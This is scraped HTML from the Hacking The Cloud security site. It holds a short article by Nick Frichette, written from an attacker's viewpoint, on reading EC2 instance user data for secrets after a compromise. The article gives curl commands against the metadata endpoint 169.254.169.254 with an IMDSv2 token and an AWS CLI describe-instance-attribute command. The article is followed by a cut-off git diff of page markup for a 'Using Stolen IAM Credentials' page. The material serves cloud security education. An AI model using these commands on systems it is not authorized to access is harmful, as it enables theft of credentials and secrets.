class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#how-to-access-ec2-user-data class=md-nav__link> <span class=md-ellipsis> How to Access EC2 User Data </span> </a> <nav class=md-nav aria-label="How to Access EC2 User Data"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#imdsv2 class=md-nav__link> <span class=md-ellipsis> IMDSv2 </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#api class=md-nav__link> <span class=md-ellipsis> API </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/general-knowledge/introduction_user_data.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Introduction to User Data</h1> <p><a href=https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-add-user-data.html>Instance user data</a> is used to run commands when an EC2 instance is first started or after it is rebooted (with some <a href=https://aws.amazon.com/premiumsupport/knowledge-center/execute-user-data-ec2/ >configuration</a>). Because this script is typically used to install software and configure the instance, this can be an excellent source of information for us as attackers. After gaining access to an EC2 instance you should immediately grab the user data script to gain information on the environment.</p> <div class="admonition warning"> <p class=admonition-title>Warning</p> <p>Although it <a href=https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html>should not be done</a>, credentials/secrets often end up being stored in user data. From the AWS docs, "Although you can only access instance metadata and user data from within the instance itself, the data is not protected by authentication or cryptographic methods. Anyone who has direct access to the instance, and potentially any software running on the instance, can view its metadata. Therefore, you should not store sensitive data, such as passwords or long-lived encryption keys, as user data."</p> </div> <h3 id=how-to-access-ec2-user-data>How to Access EC2 User Data<a class=headerlink href=#how-to-access-ec2-user-data title="Permanent link">&para;</a></h3> <p>User data can be accessed at <code>http://169.254.169.254/latest/user-data/</code> from the EC2 instance.</p> <h4 id=imdsv2>IMDSv2<a class=headerlink href=#imdsv2 title="Permanent link">&para;</a></h4> <p>Version two of the metadata service has added protections against SSRF and requires the user to create and use a token. You can access it via the following.</p> <div class=highlight><pre><span></span><code>user@host:~$ TOKEN=`curl -X PUT &quot;http://169.254.169.254/latest/api/token&quot; -H &quot;X-aws-ec2-metadata-token-ttl-seconds: 21600&quot;`
 user@host:~$ curl -H &quot;X-aws-ec2-metadata-token: $TOKEN&quot; -v http://169.254.169.254/latest/user-data/
 </code></pre></div> <h3 id=api>API<a class=headerlink href=#api title="Permanent link">&para;</a></h3> <p>Another option to gather user data is via the API. If you escalate privileges in an account, or simply compromise a user/role with sufficient permissions, you can query the AWS API to view the user data of specific EC2 instances. This requires you to know the instance-id of the target EC2 instance. To query the user data we will use the <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/describe-instance-attribute.html>describe-instance-attribute</a> action. The result will be base64 encoded.</p> <div class=highlight><pre><span></span><code>user@host:~$ aws ec2 describe-instance-attribute --instance-id i-abc123... --attribute userData
 </code></pre></div> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">December 2, 2022</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">December 20, 2020</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
diff --git a/aws/general-knowledge/using_stolen_iam_credentials/index.html b/aws/general-knowledge/using_stolen_iam_credentials/index.html
index 7eb1fb597..96867e2a9 100644
--- a/aws/general-knowledge/using_stolen_iam_credentials/index.html
+++ b/aws/general-knowledge/using_stolen_iam_credentials/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="How to work with stolen IAM credentials and things to consider."><link href=https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/ rel=canonical><link href=../introduction_user_data/ rel=prev><link href=../../enumeration/account_id_from_ec2/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Using Stolen IAM Credentials - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Using Stolen IAM Credentials - Hacking The Cloud"><meta property=og:description content="How to work with stolen IAM credentials and things to consider."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/general-knowledge/using_stolen_iam_credentials.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Using Stolen IAM Credentials - Hacking The Cloud"><meta property=twitter:description content="How to work with stolen IAM credentials and things to consider."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/general-knowledge/using_stolen_iam_credentials.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="How to work with stolen IAM credentials and things to consider."><link href=https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/ rel=canonical><link href=../introduction_user_data/ rel=prev><link href=../../enumeration/account_id_from_ec2/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Using Stolen IAM Credentials - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Using Stolen IAM Credentials - Hacking The Cloud"><meta property=og:description content="How to work with stolen IAM credentials and things to consider."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/general-knowledge/using_stolen_iam_credentials.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Using Stolen IAM Credentials - Hacking The Cloud"><meta property=twitter:description content="How to work with stolen IAM credentials and things to consider."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/general-knowledge/using_stolen_iam_credentials.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#iam-credential-characteristics class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 